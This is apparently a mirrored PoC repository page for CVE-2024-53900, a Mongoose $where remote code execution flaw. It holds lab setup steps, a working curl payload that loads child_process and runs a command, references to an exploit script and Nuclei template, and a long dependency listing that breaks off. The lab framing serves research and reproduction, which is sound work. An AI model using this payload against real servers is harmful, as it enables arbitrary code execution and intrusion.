Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-53900 PoC — Automattic Mongoose 安全漏洞

Source
Associated Vulnerability
Title:Automattic Mongoose 安全漏洞 (CVE-2024-53900)
Description:Automattic Mongoose是一款用于异步环境的MongoDB对象建模工具。 Automattic Mongoose 8.8.3之前版本存在安全漏洞,该漏洞源于查询操作符使用不当。
Readme
# CVE-2024-53900 - Mongoose populate().match \$where RCE

This repository provides a reproducible vulnerable environment and PoC for **CVE-2024-53900**, a critical Remote Code Execution (RCE) vulnerability in Mongoose `< 8.8.3`.

---

## 📌 Vulnerability Details

* **CVE**: [CVE-2024-53900](https://nvd.nist.gov/vuln/detail/CVE-2024-53900)
* **Affected**: Mongoose < 8.8.3
* **Severity**: Critical (CVSS 9.1)
* **Vector**: `populate().match` combined with `$where`
* **Impact**: Arbitrary JavaScript execution (RCE) in Node.js context

**References:**

* [GitHub Advisory](https://github.com/advisories/GHSA-m7xq-9374-9rvx)
* [Fix Commit](https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156)

---

## 🛠️ Setup Instructions

### 1. Clone the repository

```bash
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
```

### 2. Start environment (Docker Compose)

```bash
docker-compose up -d
```
## 📌 GUI PoC (Calculator)

By default, the vulnerable Node.js app runs inside Docker.  
However, **GUI applications (like `xcalc` or `gnome-calculator`) will not launch inside a container**.  

👉 If you want to demonstrate the RCE by launching a calculator window:

1. **Run MongoDB in Docker (as DB backend)**
   ```bash
   docker run -d --name mongo -p 27017:27017 mongo:6
   ```
   
2. **Run the vulnerable Node.js app locally**

  ```bash
     cd ~/cve-2024/app
     npm install
     node server.js
```

* MongoDB runs on port `27017`
* Vulnerable Node.js app runs on port `5000`

---

## 📂 Directory Structure

```
/home/kali/cve-2024/
├── docker-compose.yml     # Environment setup
├── exploit.py             # Automated exploit script
├── CVE-2024-53900.yaml    # Nuclei template
├── README.md              # Documentation
├── app/                   # Vulnerable Node.js app
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB volume
```

---

## 🚀 Exploitation

### Manual test

```bash
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
```

### Automated PoC

```bash
python3 exploit.py --url http://localhost:5000
```
### With Nuclei

```bash
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
```
<img width="1266" height="523" alt="image" src="https://github.com/user-attachments/assets/29cc7848-31d4-45f1-9eec-146f0bb2cc5c" />


---

## 🔒 Security Notes

* **For research and testing only** (not production).
* Payload restricted to safe operations (e.g., file creation).
* Fully isolated using Docker.

---

## ✅ Tested Environment

* OS: Kali Linux
* MongoDB: `mongo:6`
* Node.js: `18`
* Mongoose: `8.5.0` (vulnerable)
* Express: `4.18.2`
* 
---

## 📸 Demo

<img width="1707" height="1329" alt="Image" src="https://github.com/user-attachments/assets/49a499e6-930d-47ab-b1b2-fecb33be19ce" />

File Snapshot

[4.0K] /data/pocs/385a185fd57d00cf454f809dfddad3ce059660ac ├── [4.0K] app │   ├── [ 121] Dockerfile │   ├── [ 419] models.js │   ├── [4.0K] node_modules │   │   ├── [4.0K] accepts │   │   │   ├── [5.0K] HISTORY.md │   │   │   ├── [5.1K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [4.0K] README.md │   │   ├── [4.0K] array-flatten │   │   │   ├── [1.2K] array-flatten.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 879] package.json │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] async │   │   │   ├── [3.5K] all.js │   │   │   ├── [1.7K] allLimit.js │   │   │   ├── [1.6K] allSeries.js │   │   │   ├── [3.7K] any.js │   │   │   ├── [1.7K] anyLimit.js │   │   │   ├── [1.6K] anySeries.js │   │   │   ├── [1.9K] applyEach.js │   │   │   ├── [1.3K] applyEachSeries.js │   │   │   ├── [ 217] apply.js │   │   │   ├── [3.7K] asyncify.js │   │   │   ├── [6.9K] autoInject.js │   │   │   ├── [ 12K] auto.js │   │   │   ├── [ 239] bower.json │   │   │   ├── [2.7K] cargo.js │   │   │   ├── [3.3K] cargoQueue.js │   │   │   ├── [ 33K] CHANGELOG.md │   │   │   ├── [1.5K] compose.js │   │   │   ├── [3.6K] concat.js │   │   │   ├── [2.0K] concatLimit.js │   │   │   ├── [1.4K] concatSeries.js │   │   │   ├── [ 302] constant.js │   │   │   ├── [3.2K] detect.js │   │   │   ├── [1.8K] detectLimit.js │   │   │   ├── [1.7K] detectSeries.js │   │   │   ├── [1.3K] dir.js │   │   │   ├── [4.0K] dist │   │   │   │   ├── [220K] async.js │   │   │   │   ├── [ 21K] async.min.js │   │   │   │   └── [196K] async.mjs │   │   │   ├── [2.2K] doDuring.js │   │   │   ├── [1.7K] doUntil.js │   │   │   ├── [2.2K] doWhilst.js │   │   │   ├── [2.3K] during.js │   │   │   ├── [3.9K] each.js │   │   │   ├── [1.7K] eachLimit.js │   │   │   ├── [5.6K] eachOf.js │   │   │   ├── [1.6K] eachOfLimit.js │   │   │   ├── [1.3K] eachOfSeries.js │   │   │   ├── [1.5K] eachSeries.js │   │   │   ├── [2.3K] ensureAsync.js │   │   │   ├── [3.5K] every.js │   │   │   ├── [1.7K] everyLimit.js │   │   │   ├── [1.6K] everySeries.js │   │   │   ├── [2.8K] filter.js │   │   │   ├── [1.6K] filterLimit.js │   │   │   ├── [1.5K] filterSeries.js │   │   │   ├── [3.2K] find.js │   │   │   ├── [1.8K] findLimit.js │   │   │   ├── [1.7K] findSeries.js │   │   │   ├── [3.6K] flatMap.js │   │   │   ├── [2.0K] flatMapLimit.js │   │   │   ├── [1.4K] flatMapSeries.js │   │   │   ├── [4.8K] foldl.js │   │   │   ├── [1.5K] foldr.js │   │   │   ├── [3.9K] forEach.js │   │   │   ├── [1.7K] forEachLimit.js │   │   │   ├── [5.6K] forEachOf.js │   │   │   ├── [1.6K] forEachOfLimit.js │   │   │   ├── [1.3K] forEachOfSeries.js │   │   │   ├── [1.5K] forEachSeries.js │   │   │   ├── [2.1K] forever.js │   │   │   ├── [3.5K] groupBy.js │   │   │   ├── [2.4K] groupByLimit.js │   │   │   ├── [1.3K] groupBySeries.js │   │   │   ├── [ 19K] index.js │   │   │   ├── [4.8K] inject.js │   │   │   ├── [4.0K] internal │   │   │   │   ├── [ 783] applyEach.js │   │   │   │   ├── [1.9K] asyncEachOfLimit.js │   │   │   │   ├── [ 816] awaitify.js │   │   │   │   ├── [ 254] breakLoop.js │   │   │   │   ├── [ 919] consoleFunc.js │   │   │   │   ├── [1.2K] createTester.js │   │   │   │   ├── [2.2K] DoublyLinkedList.js │   │   │   │   ├── [2.6K] eachOfLimit.js │   │   │   │   ├── [1.6K] filter.js │   │   │   │   ├── [ 217] getIterator.js │   │   │   │   ├── [2.4K] Heap.js │   │   │   │   ├── [ 289] initialParams.js │   │   │   │   ├── [ 279] isArrayLike.js │   │   │   │   ├── [1.4K] iterator.js │   │   │   │   ├── [ 761] map.js │   │   │   │   ├── [ 362] once.js │   │   │   │   ├── [ 360] onlyOnce.js │   │   │   │   ├── [ 962] parallel.js │   │   │   │   ├── [ 532] promiseCallback.js │   │   │   │   ├── [8.3K] queue.js │   │   │   │   ├── [ 270] range.js │   │   │   │   ├── [ 695] reject.js │   │   │   │   ├── [ 857] setImmediate.js │   │   │   │   ├── [ 251] withoutIndex.js │   │   │   │   └── [ 955] wrapAsync.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [1.2K] log.js │   │   │   ├── [4.5K] map.js │   │   │   ├── [1.6K] mapLimit.js │   │   │   ├── [1.5K] mapSeries.js │   │   │   ├── [4.5K] mapValues.js │   │   │   ├── [2.1K] mapValuesLimit.js │   │   │   ├── [1.3K] mapValuesSeries.js │   │   │   ├── [3.0K] memoize.js │   │   │   ├── [1.4K] nextTick.js │   │   │   ├── [2.2K] package.json │   │   │   ├── [5.4K] parallel.js │   │   │   ├── [1.5K] parallelLimit.js │   │   │   ├── [1.4K] priorityQueue.js │   │   │   ├── [ 626] queue.js │   │   │   ├── [2.1K] race.js │   │   │   ├── [3.1K] README.md │   │   │   ├── [4.8K] reduce.js │   │   │   ├── [1.5K] reduceRight.js │   │   │   ├── [2.4K] reflectAll.js │   │   │   ├── [2.2K] reflect.js │   │   │   ├── [2.6K] reject.js │   │   │   ├── [1.5K] rejectLimit.js │   │   │   ├── [1.4K] rejectSeries.js │   │   │   ├── [2.5K] retryable.js │   │   │   ├── [5.4K] retry.js │   │   │   ├── [2.8K] select.js │   │   │   ├── [1.6K] selectLimit.js │   │   │   ├── [1.5K] selectSeries.js │   │   │   ├── [2.6K] seq.js │   │   │   ├── [5.7K] series.js │   │   │   ├── [1.4K] setImmediate.js │   │   │   ├── [3.7K] some.js │   │   │   ├── [1.7K] someLimit.js │   │   │   ├── [1.6K] someSeries.js │   │   │   ├── [6.1K] sortBy.js │   │   │   ├── [2.7K] timeout.js │   │   │   ├── [1.5K] times.js │   │   │   ├── [1.4K] timesLimit.js │   │   │   ├── [1.0K] timesSeries.js │   │   │   ├── [5.4K] transform.js │   │   │   ├── [2.5K] tryEach.js │   │   │   ├── [ 665] unmemoize.js │   │   │   ├── [2.0K] until.js │   │   │   ├── [3.1K] waterfall.js │   │   │   ├── [2.3K] whilst.js │   │   │   └── [3.7K] wrapSync.js │   │   ├── [4.0K] balanced-match │   │   │   ├── [1.2K] index.js │   │   │   ├── [1.1K] LICENSE.md │   │   │   ├── [1.0K] package.json │   │   │   └── [3.4K] README.md │   │   ├── [4.0K] body-parser │   │   │   ├── [ 16K] HISTORY.md │   │   │   ├── [2.6K] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.2K] read.js │   │   │   │   └── [4.0K] types │   │   │   │   ├── [5.2K] json.js │   │   │   │   ├── [1.8K] raw.js │   │   │   │   ├── [2.2K] text.js │   │   │   │   └── [6.3K] urlencoded.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.4K] package.json │   │   │   ├── [ 19K] README.md │   │   │   └── [1.2K] SECURITY.md │   │   ├── [4.0K] brace-expansion │   │   │   ├── [4.9K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [4.2K] README.md │   │   ├── [4.0K] bson │   │   │   ├── [ 61K] bson.d.ts │   │   │   ├── [4.0K] etc │   │   │   │   └── [ 615] prepare.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [173K] bson.bundle.js │   │   │   │   ├── [171K] bson.bundle.js.map │   │   │   │   ├── [173K] bson.cjs │   │   │   │   ├── [171K] bson.cjs.map │   │   │   │   ├── [172K] bson.mjs │   │   │   │   ├── [171K] bson.mjs.map │   │   │   │   ├── [172K] bson.node.mjs │   │   │   │   ├── [171K] bson.node.mjs.map │   │   │   │   ├── [174K] bson.rn.cjs │   │   │   │   └── [172K] bson.rn.cjs.map │   │   │   ├── [ 11K] LICENSE.md │   │   │   ├── [3.9K] package.json │   │   │   ├── [ 13K] README.md │   │   │   ├── [4.0K] src │   │   │   │   ├── [ 23K] binary.ts │   │   │   │   ├── [8.0K] bson.ts │   │   │   │   ├── [ 901] bson_value.ts │   │   │   │   ├── [1.8K] code.ts │   │   │   │   ├── [3.4K] constants.ts │   │   │   │   ├── [3.1K] db_ref.ts │   │   │   │   ├── [ 27K] decimal128.ts │   │   │   │   ├── [3.4K] double.ts │   │   │   │   ├── [2.5K] error.ts │   │   │   │   ├── [ 17K] extended_json.ts │   │   │   │   ├── [ 606] index.ts │   │   │   │   ├── [3.0K] int_32.ts │   │   │   │   ├── [ 45K] long.ts │   │   │   │   ├── [ 527] max_key.ts │   │   │   │   ├── [ 527] min_key.ts │   │   │   │   ├── [ 11K] objectid.ts │   │   │   │   ├── [4.0K] parser │   │   │   │   │   ├── [7.0K] calculate_size.ts │   │   │   │   │   ├── [ 22K] deserializer.ts │   │   │   │   │   ├── [4.0K] on_demand │   │   │   │   │   │   ├── [ 791] index.ts │   │   │   │   │   │   └── [4.9K] parse_to_elements.ts │   │   │   │   │   ├── [ 31K] serializer.ts │   │   │   │   │   └── [2.2K] utils.ts │   │   │   │   ├── [1.2K] parse_utf8.ts │   │   │   │   ├── [3.3K] regexp.ts │   │   │   │   ├── [1.1K] symbol.ts │   │   │   │   ├── [5.2K] timestamp.ts │   │   │   │   └── [4.0K] utils │   │   │   │   ├── [3.2K] byte_utils.ts │   │   │   │   ├── [3.1K] latin.ts │   │   │   │   ├── [6.0K] node_byte_utils.ts │   │   │   │   ├── [6.8K] number_utils.ts │   │   │   │   ├── [1.4K] string_utils.ts │   │   │   │   └── [6.4K] web_byte_utils.ts │   │   │   └── [4.0K] vendor │   │   │   ├── [4.0K] base64 │   │   │   │   ├── [4.5K] base64.js │   │   │   │   ├── [1.1K] LICENSE-MIT.txt │   │   │   │   ├── [ 925] package.json │   │   │   │   └── [3.9K] README.md │   │   │   └── [4.0K] text-encoding │   │   │   ├── [ 258] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [518K] encoding-indexes.js │   │   │   │   └── [ 99K] encoding.js │   │   │   ├── [ 13K] LICENSE.md │   │   │   ├── [1.1K] package.json │   │   │   └── [3.7K] README.md │   │   ├── [4.0K] bytes │   │   │   ├── [1.7K] History.md │   │   │   ├── [3.5K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 959] package.json │   │   │   └── [4.7K] Readme.md │   │   ├── [4.0K] call-bind-apply-helpers │   │   │   ├── [ 23] actualApply.d.ts │   │   │   ├── [ 280] actualApply.js │   │   │   ├── [ 614] applyBind.d.ts │   │   │   ├── [ 264] applyBind.js │   │   │   ├── [1.9K] CHANGELOG.md │   │   │   ├── [ 34] functionApply.d.ts │   │   │   ├── [ 99] functionApply.js │   │   │   ├── [ 33] functionCall.d.ts │   │   │   ├── [ 97] functionCall.js │   │   │   ├── [2.2K] index.d.ts │   │   │   ├── [ 511] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.4K] package.json │   │   │   ├── [2.3K] README.md │   │   │   ├── [ 82] reflectApply.d.ts │   │   │   ├── [ 132] reflectApply.js │   │   │   ├── [4.0K] test │   │   │   │   └── [2.6K] index.js │   │   │   └── [ 115] tsconfig.json │   │   ├── [4.0K] call-bound │   │   │   ├── [2.8K] CHANGELOG.md │   │   │   ├── [4.5K] index.d.ts │   │   │   ├── [ 687] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.4K] package.json │   │   │   ├── [1.9K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [2.4K] index.js │   │   │   └── [ 137] tsconfig.json │   │   ├── [4.0K] content-disposition │   │   │   ├── [1020] HISTORY.md │   │   │   ├── [ 10K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [5.1K] README.md │   │   ├── [4.0K] content-type │   │   │   ├── [ 523] HISTORY.md │   │   │   ├── [4.9K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.0K] package.json │   │   │   └── [2.7K] README.md │   │   ├── [4.0K] cookie │   │   │   ├── [7.9K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   ├── [ 11K] README.md │   │   │   └── [1.2K] SECURITY.md │   │   ├── [4.0K] cookie-signature │   │   │   ├── [ 695] History.md │   │   │   ├── [1.2K] index.js │   │   │   ├── [ 492] package.json │   │   │   └── [1.5K] Readme.md │   │   ├── [4.0K] debug │   │   │   ├── [ 11K] CHANGELOG.md │   │   │   ├── [ 321] component.json │   │   │   ├── [1.7K] karma.conf.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.0K] Makefile │   │   │   ├── [ 40] node.js │   │   │   ├── [1.1K] package.json │   │   │   ├── [ 17K] README.md │   │   │   └── [4.0K] src │   │   │   ├── [4.6K] browser.js │   │   │   ├── [4.3K] debug.js │   │   │   ├── [ 263] index.js │   │   │   ├── [ 373] inspector-log.js │   │   │   └── [5.9K] node.js │   │   ├── [4.0K] depd │   │   │   ├── [2.2K] History.md │   │   │   ├── [ 11K] index.js │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] browser │   │   │   │   └── [1.5K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.3K] package.json │   │   │   └── [9.8K] Readme.md │   │   ├── [4.0K] destroy │   │   │   ├── [4.2K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [2.4K] README.md │   │   ├── [4.0K] dunder-proto │   │   │   ├── [1.5K] CHANGELOG.md │   │   │   ├── [ 121] get.d.ts │   │   │   ├── [ 980] get.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.1K] package.json │   │   │   ├── [1.9K] README.md │   │   │   ├── [ 144] set.d.ts │   │   │   ├── [1.2K] set.js │   │   │   ├── [4.0K] test │   │   │   │   ├── [1.1K] get.js │   │   │   │   ├── [ 51] index.js │   │   │   │   └── [1.7K] set.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] ee-first │   │   │   ├── [1.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 859] package.json │   │   │   └── [2.6K] README.md │   │   ├── [4.0K] ejs │   │   │   ├── [4.0K] bin │   │   │   │   └── [4.6K] cli.js │   │   │   ├── [ 49K] ejs.js │   │   │   ├── [ 24K] ejs.min.js │   │   │   ├── [2.5K] jakefile.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 27K] ejs.js │   │   │   │   └── [6.2K] utils.js │   │   │   ├── [ 11K] LICENSE │   │   │   ├── [ 906] package.json │   │   │   ├── [ 13K] README.md │   │   │   └── [1.6K] usage.txt │   │   ├── [4.0K] encodeurl │   │   │   ├── [1.5K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [3.1K] README.md │   │   ├── [4.0K] escape-html │   │   │   ├── [1.3K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 434] package.json │   │   │   └── [ 707] Readme.md │   │   ├── [4.0K] es-define-property │   │   │   ├── [2.2K] CHANGELOG.md │   │   │   ├── [ 93] index.d.ts │   │   │   ├── [ 288] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.1K] package.json │   │   │   ├── [2.0K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [1.3K] index.js │   │   │   └── [ 138] tsconfig.json │   │   ├── [4.0K] es-errors │   │   │   ├── [1.8K] CHANGELOG.md │   │   │   ├── [ 68] eval.d.ts │   │   │   ├── [ 75] eval.js │   │   │   ├── [ 56] index.d.ts │   │   │   ├── [ 66] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.1K] package.json │   │   │   ├── [ 71] range.d.ts │   │   │   ├── [ 77] range.js │   │   │   ├── [2.1K] README.md │   │   │   ├── [ 83] ref.d.ts │   │   │   ├── [ 79] ref.js │   │   │   ├── [ 74] syntax.d.ts │   │   │   ├── [ 79] syntax.js │   │   │   ├── [4.0K] test │   │   │   │   └── [ 356] index.js │   │   │   ├── [3.1K] tsconfig.json │   │   │   ├── [ 67] type.d.ts │   │   │   ├── [ 75] type.js │   │   │   ├── [ 65] uri.d.ts │   │   │   └── [ 73] uri.js │   │   ├── [4.0K] es-object-atoms │   │   │   ├── [2.1K] CHANGELOG.md │   │   │   ├── [ 59] index.d.ts │   │   │   ├── [ 67] index.js │   │   │   ├── [ 72] isObject.d.ts │   │   │   ├── [ 161] isObject.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.2K] package.json │   │   │   ├── [2.5K] README.md │   │   │   ├── [ 123] RequireObjectCoercible.d.ts │   │   │   ├── [ 313] RequireObjectCoercible.js │   │   │   ├── [4.0K] test │   │   │   │   └── [1.1K] index.js │   │   │   ├── [ 352] ToObject.d.ts │   │   │   ├── [ 250] ToObject.js │   │   │   └── [ 81] tsconfig.json │   │   ├── [4.0K] etag │   │   │   ├── [1.7K] HISTORY.md │   │   │   ├── [2.4K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.3K] package.json │   │   │   └── [4.1K] README.md │   │   ├── [4.0K] express │   │   │   ├── [112K] History.md │   │   │   ├── [ 224] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 14K] application.js │   │   │   │   ├── [2.4K] express.js │   │   │   │   ├── [4.0K] middleware │   │   │   │   │   ├── [ 853] init.js │   │   │   │   │   └── [ 885] query.js │   │   │   │   ├── [ 12K] request.js │   │   │   │   ├── [ 28K] response.js │   │   │   │   ├── [4.0K] router │   │   │   │   │   ├── [ 15K] index.js │   │   │   │   │   ├── [3.2K] layer.js │   │   │   │   │   └── [4.3K] route.js │   │   │   │   ├── [5.7K] utils.js │   │   │   │   └── [3.2K] view.js │   │   │   ├── [1.2K] LICENSE │   │   │   ├── [2.7K] package.json │   │   │   └── [9.6K] Readme.md │   │   ├── [4.0K] filelist │   │   │   ├── [2.3K] index.d.ts │   │   │   ├── [ 13K] index.js │   │   │   ├── [ 238] jakefile.js │   │   │   ├── [ 637] package.json │   │   │   └── [2.1K] README.md │   │   ├── [4.0K] finalhandler │   │   │   ├── [4.4K] HISTORY.md │   │   │   ├── [6.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   ├── [4.0K] README.md │   │   │   └── [1.2K] SECURITY.md │   │   ├── [4.0K] forwarded │   │   │   ├── [ 400] HISTORY.md │   │   │   ├── [1.5K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [1.6K] README.md │   │   ├── [4.0K] fresh │   │   │   ├── [1.5K] HISTORY.md │   │   │   ├── [2.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.3K] package.json │   │   │   └── [3.3K] README.md │   │   ├── [4.0K] function-bind │   │   │   ├── [ 13K] CHANGELOG.md │   │   │   ├── [2.0K] implementation.js │   │   │   ├── [ 126] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.2K] package.json │   │   │   ├── [1.7K] README.md │   │   │   └── [4.0K] test │   │   │   └── [8.8K] index.js │   │   ├── [4.0K] get-intrinsic │   │   │   ├── [ 15K] CHANGELOG.md │   │   │   ├── [ 14K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.5K] package.json │   │   │   ├── [2.7K] README.md │   │   │   └── [4.0K] test │   │   │   └── [8.6K] GetIntrinsic.js │   │   ├── [4.0K] get-proto │   │   │   ├── [1.0K] CHANGELOG.md │   │   │   ├── [ 126] index.d.ts │   │   │   ├── [ 821] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [ 125] Object.getPrototypeOf.d.ts │   │   │   ├── [ 156] Object.getPrototypeOf.js │   │   │   ├── [2.1K] package.json │   │   │   ├── [1.8K] README.md │   │   │   ├── [ 67] Reflect.getPrototypeOf.d.ts │   │   │   ├── [ 150] Reflect.getPrototypeOf.js │   │   │   ├── [4.0K] test │   │   │   │   └── [2.3K] index.js │   │   │   └── [ 118] tsconfig.json │   │   ├── [4.0K] gopd │   │   │   ├── [3.0K] CHANGELOG.md │   │   │   ├── [ 42] gOPD.d.ts │   │   │   ├── [ 97] gOPD.js │   │   │   ├── [ 173] index.d.ts │   │   │   ├── [ 206] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.0K] package.json │   │   │   ├── [1.5K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [ 656] index.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] hasown │   │   │   ├── [2.5K] CHANGELOG.md │   │   │   ├── [ 117] index.d.ts │   │   │   ├── [ 206] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [2.2K] package.json │   │   │   ├── [1.6K] README.md │   │   │   └── [ 73] tsconfig.json │   │   ├── [4.0K] has-symbols │   │   │   ├── [9.2K] CHANGELOG.md │   │   │   ├── [ 73] index.d.ts │   │   │   ├── [ 447] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.9K] package.json │   │   │   ├── [2.0K] README.md │   │   │   ├── [ 69] shams.d.ts │   │   │   ├── [1.9K] shams.js │   │   │   ├── [4.0K] test │   │   │   │   ├── [ 654] index.js │   │   │   │   ├── [4.0K] shams │   │   │   │   │   ├── [ 797] core-js.js │   │   │   │   │   └── [ 760] get-own-property-symbols.js │   │   │   │   └── [2.1K] tests.js │   │   │   └── [ 143] tsconfig.json │   │   ├── [4.0K] http-errors │   │   │   ├── [3.9K] HISTORY.md │   │   │   ├── [6.2K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.3K] package.json │   │   │   └── [5.8K] README.md │   │   ├── [4.0K] iconv-lite │   │   │   ├── [4.2K] Changelog.md │   │   │   ├── [4.0K] encodings │   │   │   │   ├── [ 21K] dbcs-codec.js │   │   │   │   ├── [8.1K] dbcs-data.js │   │   │   │   ├── [ 710] index.js │   │   │   │   ├── [6.0K] internal.js │   │   │   │   ├── [2.1K] sbcs-codec.js │   │   │   │   ├── [ 31K] sbcs-data-generated.js │   │   │   │   ├── [4.6K] sbcs-data.js │   │   │   │   ├── [4.0K] tables │   │   │   │   │   ├── [ 17K] big5-added.json │   │   │   │   │   ├── [ 46K] cp936.json │   │   │   │   │   ├── [ 37K] cp949.json │   │   │   │   │   ├── [ 41K] cp950.json │   │   │   │   │   ├── [ 40K] eucjp.json │   │   │   │   │   ├── [2.2K] gb18030-ranges.json │   │   │   │   │   ├── [1.2K] gbk-added.json │   │   │   │   │   └── [ 23K] shiftjis.json │   │   │   │   ├── [4.9K] utf16.js │   │   │   │   └── [9.0K] utf7.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [1.1K] bom-handling.js │   │   │   │   ├── [8.5K] extend-node.js │   │   │   │   ├── [ 982] index.d.ts │   │   │   │   ├── [5.0K] index.js │   │   │   │   └── [3.3K] streams.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [6.4K] README.md │   │   ├── [4.0K] inherits │   │   │   ├── [ 753] inherits_browser.js │   │   │   ├── [ 250] inherits.js │   │   │   ├── [ 749] LICENSE │   │   │   ├── [ 581] package.json │   │   │   └── [1.6K] README.md │   │   ├── [4.0K] ipaddr.js │   │   │   ├── [9.5K] ipaddr.min.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 19K] ipaddr.js │   │   │   │   └── [2.9K] ipaddr.js.d.ts │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 719] package.json │   │   │   └── [8.1K] README.md │   │   ├── [4.0K] jake │   │   │   ├── [4.0K] bin │   │   │   │   ├── [1.3K] bash_completion.sh │   │   │   │   └── [ 907] cli.js │   │   │   ├── [2.6K] jakefile.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 12K] api.js │   │   │   │   ├── [9.5K] jake.js │   │   │   │   ├── [4.3K] loader.js │   │   │   │   ├── [2.4K] namespace.js │   │   │   │   ├── [ 11K] package_task.js │   │   │   │   ├── [3.7K] parseargs.js │   │   │   │   ├── [6.4K] program.js │   │   │   │   ├── [8.9K] publish_task.js │   │   │   │   ├── [7.7K] rule.js │   │   │   │   ├── [4.0K] task │   │   │   │   │   ├── [ 575] directory_task.js │   │   │   │   │   ├── [3.3K] file_task.js │   │   │   │   │   ├── [ 238] index.js │   │   │   │   │   └── [ 12K] task.js │   │   │   │   ├── [8.3K] test_task.js │   │   │   │   └── [4.0K] utils │   │   │   │   ├── [7.5K] file.js │   │   │   │   ├── [7.1K] index.js │   │   │   │   └── [ 505] logger.js │   │   │   ├── [1.3K] Makefile │   │   │   ├── [1.0K] package.json │   │   │   ├── [ 556] README.md │   │   │   ├── [4.0K] test │   │   │   │   ├── [4.0K] integration │   │   │   │   │   ├── [1.6K] concurrent.js │   │   │   │   │   ├── [6.4K] file.js │   │   │   │   │   ├── [5.0K] file_task.js │   │   │   │   │   ├── [1.6K] helpers.js │   │   │   │   │   ├── [9.4K] jakefile.js │   │   │   │   │   ├── [4.0K] jakelib │   │   │   │   │   │   ├── [2.4K] concurrent.jake.js │   │   │   │   │   │   ├── [1.4K] publish.jake.js │   │   │   │   │   │   ├── [ 182] required_module.jake.js │   │   │   │   │   │   └── [6.7K] rule.jake.js │   │   │   │   │   ├── [ 456] list_tasks.js │   │   │   │   │   ├── [ 678] publish_task.js │   │   │   │   │   ├── [6.7K] rule.js │   │   │   │   │   ├── [ 814] selfdep.js │   │   │   │   │   └── [5.6K] task_base.js │   │   │   │   └── [4.0K] unit │   │   │   │   ├── [ 580] jakefile.js │   │   │   │   ├── [2.5K] namespace.js │   │   │   │   └── [5.2K] parseargs.js │   │   │   └── [1.0K] usage.txt │   │   ├── [4.0K] kareem │   │   │   ├── [ 34K] CHANGELOG.md │   │   │   ├── [1.3K] index.d.ts │   │   │   ├── [ 18K] index.js │   │   │   ├── [ 11K] LICENSE │   │   │   ├── [ 651] package.json │   │   │   ├── [8.5K] README.md │   │   │   └── [ 193] SECURITY.md │   │   ├── [4.0K] math-intrinsics │   │   │   ├── [ 18] abs.d.ts │   │   │   ├── [ 73] abs.js │   │   │   ├── [1.4K] CHANGELOG.md │   │   │   ├── [4.0K] constants │   │   │   │   ├── [ 71] maxArrayLength.d.ts │   │   │   │   ├── [ 110] maxArrayLength.js │   │   │   │   ├── [ 77] maxSafeInteger.d.ts │   │   │   │   ├── [ 231] 